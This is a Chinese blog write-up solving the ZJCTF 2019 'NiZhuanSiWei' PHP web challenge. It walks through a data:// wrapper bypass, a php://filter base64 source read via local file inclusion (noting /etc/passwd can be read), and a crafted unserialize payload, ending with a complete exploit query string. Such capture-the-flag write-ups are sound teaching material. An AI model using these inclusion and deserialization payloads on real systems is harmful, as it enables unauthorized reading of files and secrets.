博客园 首页 私信博主 显示目录 隐藏目录 管理
Live2D

[ZJCTF 2019]NiZhuanSiWei

题目

拿到题目

 

 

分析

第一个绕过

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

file_get_contents($text,'r')是读取文件的内容,说明我们首先要上传一个文件,并且它的内容还得是"welcome to the zjctf",我们考虑用data协议,data协议通常是用来执行PHP代码,然而我们也可以将内容写入data协议中然后让file_get_contents函数取读取。构造如下:

data:text/plain,welcome to the zjctf

 

第二个绕过

$file = $_GET["file"];
if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }

 

这里有file参数可控,但是无法直接读取flag,可以直接读取/etc/passwd,但针对php文件我们需要进行base64编码,否则读取不到其内容,所以以下无法使用,

所以下面采用filter来读源码,但上面提到过针对php文件需要base64编码,所以使用其自带的base64过滤器。

php://filter/read=convert.base64-encode/resource=useless.php

 

读到的useless.php内容如下:

<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

 

第三个绕过

$password = $_GET["password"];
include($file);  //useless.php
$password = unserialize($password);
echo $password;

 

我们进行序列化

<?php
class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
print(serialize(new Flag()));
?>

结果:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最后的payload:

text=data:text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

 

posted @ 2020-09-11 17:52  My_Dreams  阅读(682)  评论(0编辑  收藏  举报
(function() { $("pre").addClass("prettyprint"); prettyPrint(); })();